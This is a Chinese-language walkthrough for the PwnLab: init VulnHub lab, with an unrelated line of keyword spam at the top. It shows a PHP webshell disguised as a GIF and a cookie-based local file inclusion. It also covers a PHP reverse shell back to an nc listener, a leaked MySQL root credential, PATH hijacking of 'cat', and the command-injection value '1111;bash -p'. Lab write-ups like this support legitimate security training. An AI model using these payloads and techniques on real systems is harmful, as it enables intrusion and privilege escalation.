express网站开发,网页制作素材模板图片,建设工程施工许可证查询网站,网站页面制作建议下载链接#xff1a;PwnLab: init ~ VulnHub 安装#xff1a; 打开vxbox直接选择导入虚拟电脑即可 正文#xff1a; 先用nmap扫描靶机ip nmap -sn 192.168.1.1/24 获取到靶机ip后#xff0c;对靶机的端口进行扫描#xff0c;并把结果输出到PwnLab文件夹下#xff0c;命名… 下载链接PwnLab: init ~ VulnHub 安装 打开vxbox直接选择导入虚拟电脑即可 正文 先用nmap扫描靶机ip nmap -sn 192.168.1.1/24 获取到靶机ip后对靶机的端口进行扫描并把结果输出到PwnLab文件夹下命名为port方便后续查看 nmap -p- 192.168.1.4 -r -PN -oA PwnLab/port -p-对所有端口进行探测 -PN用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测而是直接扫描指定的目标 -oA输出到指定位置 -r连续扫描端口并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御 系统检测到的风险。 对端口指纹进行详细探测,并把结果输出到PwnLab文件夹下命名为server方便后续查看 nmap -p 80,111,3306,60570 192.168.1.4 -sC -sV -r -O --version-all -A -oA PwnLab/server -p对指定的端口进行探测 -sV版本信息 -sC默认脚本扫描 -A启动Os检测版本检测脚本扫描和traceroute -O探测操作系统信息 --version-all尽可能多的探测信息 访问80端口 想要上传文件需要先进行登录才行 我们对登陆位置进行sql注入尝试以及万能密码尝试 发现并不会成功 我们对该靶场进行目录扫描操作 dirsearch -u “192.168.1.4” 对config.php进行访问 发现为一片空白没有读取出任何信息 返回到主页面 观察URL的结构感觉他可能会存在文件包含漏洞 进行尝试文件包含漏洞 不行 既然是php我们可以尝试使用下php伪协议 常用的php伪协议 php://filter/readconvert.base64-encode/resourceindexphp://filter/resourceindex 利用filter协议读文件将index通过base64编码后进行输出。如果不进行编码文件包含后就会当做php文件直接执行我们可以进行编码后复制出来在进行解码操作 读取成功 通过base64解码成功得到index源码 我们用同样的方法可以读取出upload以及config的源代码 我们同样将我们得到的base64数据进行解码并保存起来 当我们将config解码出来后我们得到了mysql的账号密码 root:H4u%QJ_H99 在之前的nmap扫描中就知道靶场的3306端口是开启状态 进行mysql登录 mysql -uroot -h 192.168.1.4 -p 登录成功 查看下数据库中的数据 show databases; use Users; show tables; select * from users; 得到了三个账号密码 将密码进行base64解密并分别进行保存 回到80端口进行尝试用得到的账号密码进行登录 登录成功进行文件上传尝试 根据我们之前得到的upload文件源码得知 对上传文件进行了白名单尝试只允许上传后缀为jpg、jpeg、gif以及png文件 并且对文件头进行校验 准备好一句话木马并将文件头写为GIF89a GIF89a?phpsystem($_GET[132]);phpinfo();? 保存为后缀为gif文件 尝试上传并进行bp抓包修改 上传失败 我们再次进行后缀修改并尝试使用00截断进行上传 找到gif位置并将gif前的小数点改为00 再次进行上传 同样上传失败。。。。 查看之前获得到的index源代码 我们在该位置发现异常 在该位置未对$_COOKIE[lang]进行输入验证和过滤攻击者可以通过修改$_COOKIE[lang]的值来执行潜在的攻击例如包含恶意文件或执行任意代码。 代码解读 isset($_COOKIE[lang])这是一个条件语句检查名为lang的Cookie是否存在。isset()函数 用于检测变量是否已设置并且非null。 如果$_COOKIE[lang]存在代码将继续执行下一行。 include(lang/.$_COOKIE[lang]);这行代码使用include语句来包含一个语言文件。它使 用$_COOKIE[lang]的值构建文件路径并将该文件包含到当前的代码文件中。 获取shell 根据该段代码的内容我们可以构造一个名为“lang”的cookie从而造成文件包含漏洞 先正常上传后缀为gif的木马文件 上传完成后 右键下面的小图标新建标签页面打开图像 该路径则为我们稍后构造的cookie文件包含所需要的路径 再次使用bp抓包随便上传一个文件并修改cookie 在原有的cookie后添加 ;lang../upload/440f0eab6c78d0e3cb46c99f5d43d1b1.gif 如果使用bp上传后报错提示 Your browser sent a request that this server could not understand. Request header field is missing : separator. 我在之前的测试中并没有出现过此情况并且在之前的测试中的cookie并没有这么长所以在该位置报错了遂我尝试使用hackbar进行构造cookie 可以使用hackbar进行修改cookie在火狐的插件中可以搜索到一个收费一个免费我用的是免费版 load URL将URL地址载入到hackbar 勾选上cookies并在最后的cookie行添加上我们构造好的cookie 最后点击execute 解析成功因为在我们上传的一句话木马中加入了 phpinfo()用来判断该木马是否解析成功 但是我经过测试发现好像并不能利用该木马传参进行反弹shell 所以我们我们可以尝试使用kali目录下的php shell文件或者自己写一个php反弹shell文件 木马文件在kali的/usr/share/webshells/php目录下 cd /usr/share/webshells/php 将该文件内容复制出来并做对应的ip以及端口修改 将该位置修改为kali的ip以及nc监听的端口 并将该文件后缀修改为.gif 在kali中打开nc监听 nc -lvvp 8080 将该木马进行上传 如果使用hackbar后再次点击upload会直接跳转到之前的phpinfo解析页面我们需要再次打开hackbar并勾选cookie将最后的我们添加的cookie删除掉然后重新打开文件上传页面即可 上传木马 并同样将该文件的路径以及名称进行保存 并再次随便上传一个文件选不选择都行主要目的是抓包并修改cookie所以我这里就没有选择文件直接点击的上传bp抓包修改cookie ;lang../upload/f3035846cc279a1aff73b7c2c25367b9.gif 如果还是出现了报错情况可以尝试将浏览器的缓存以及cookie进行清除 nc监听成功 我们之前获得过三个账号密码尝试进行用户切换毕竟该用户权限太低了 提权 su kent 出现报错提示我们需要重新打开一个命令交互Spawning a TTY Shell-逃逸linux各种shell来执行命令 - lsh4cks Blog (lshack.cn)在该网站中有各种shell来执行命令 查看是否有python环境 whereis python python -c import pty; pty.spawn(/bin/sh) 可以正常使用命令交互了 切换kent用户 cd 回到该用户文件夹下 在用户目录下也没有东西 ls 查看具有sudi权限的文件看能否利用进行提权 find / -perm -us -type f 2/dev/null 没有东西 切换下一个用户看看 经过尝试mike用户的密码不正确 su kane 切换到自己文件夹下 cd 查看当前文件夹下有哪些东西 ls 我们发现了该文件 尝试运行 报错 查看下该文件 strings msgmike 发现该文件可以用system权限执行cat命令但是由于/home/mike/msg.txt文件不存在所以报错了那我们可以尝试使用命令劫持 在当前目录下写一个cat文件并给他运行权限 echo /bin/bash cat chmod x cat 利用环境变量劫持将环境变量修改为cat文件目录下也就是当前目录下 export PATH.:$PATH 然后再次尝试运行msgmike 我们的用户变为了mike 因为该文件的所有用户以及所有组为mike当我们运行该文件时执行我们创建的cat文件里的bin/bash文件为mike权限故我们的用户切换为了mike 当我们用cd切换到当前用户目录时发现我们还是处在kane目录下因为我们现在本质上还是kane用户我们只不过是劫持了msgmike文件中的cat命令又因为msgmike文件归属于mike所以我们现在拥有了mike所拥有的权限 我们手动切换到mike文件夹下 cd /home/mike 我们运行该目录下的msg2root文件 发现该文件是用来给root用户发送消息的 我们使用同样的方法来查看下该文件 strings msg2root 发现该文件则直接指定了具体目录所以我们没办法再次进行劫持命令 注意这里的%s 该变量则是我们给root用户发送消息的变量 当我们输入一串字符串时则会赋值给%s 并将消息存储到/root/messages.txt文件下 那我们可以尝试利用该文件构造一个拼接命令让他来执行我们需要的命令 ./msg2root 1111;id 我们尝试使用分号将命令进行隔开类似于手动sql注入万能密码的拼接方法 成功执行 尝试使用该方法开启一个新bash命令交互-p为用最高权限开启 1111;bash -p 提权成功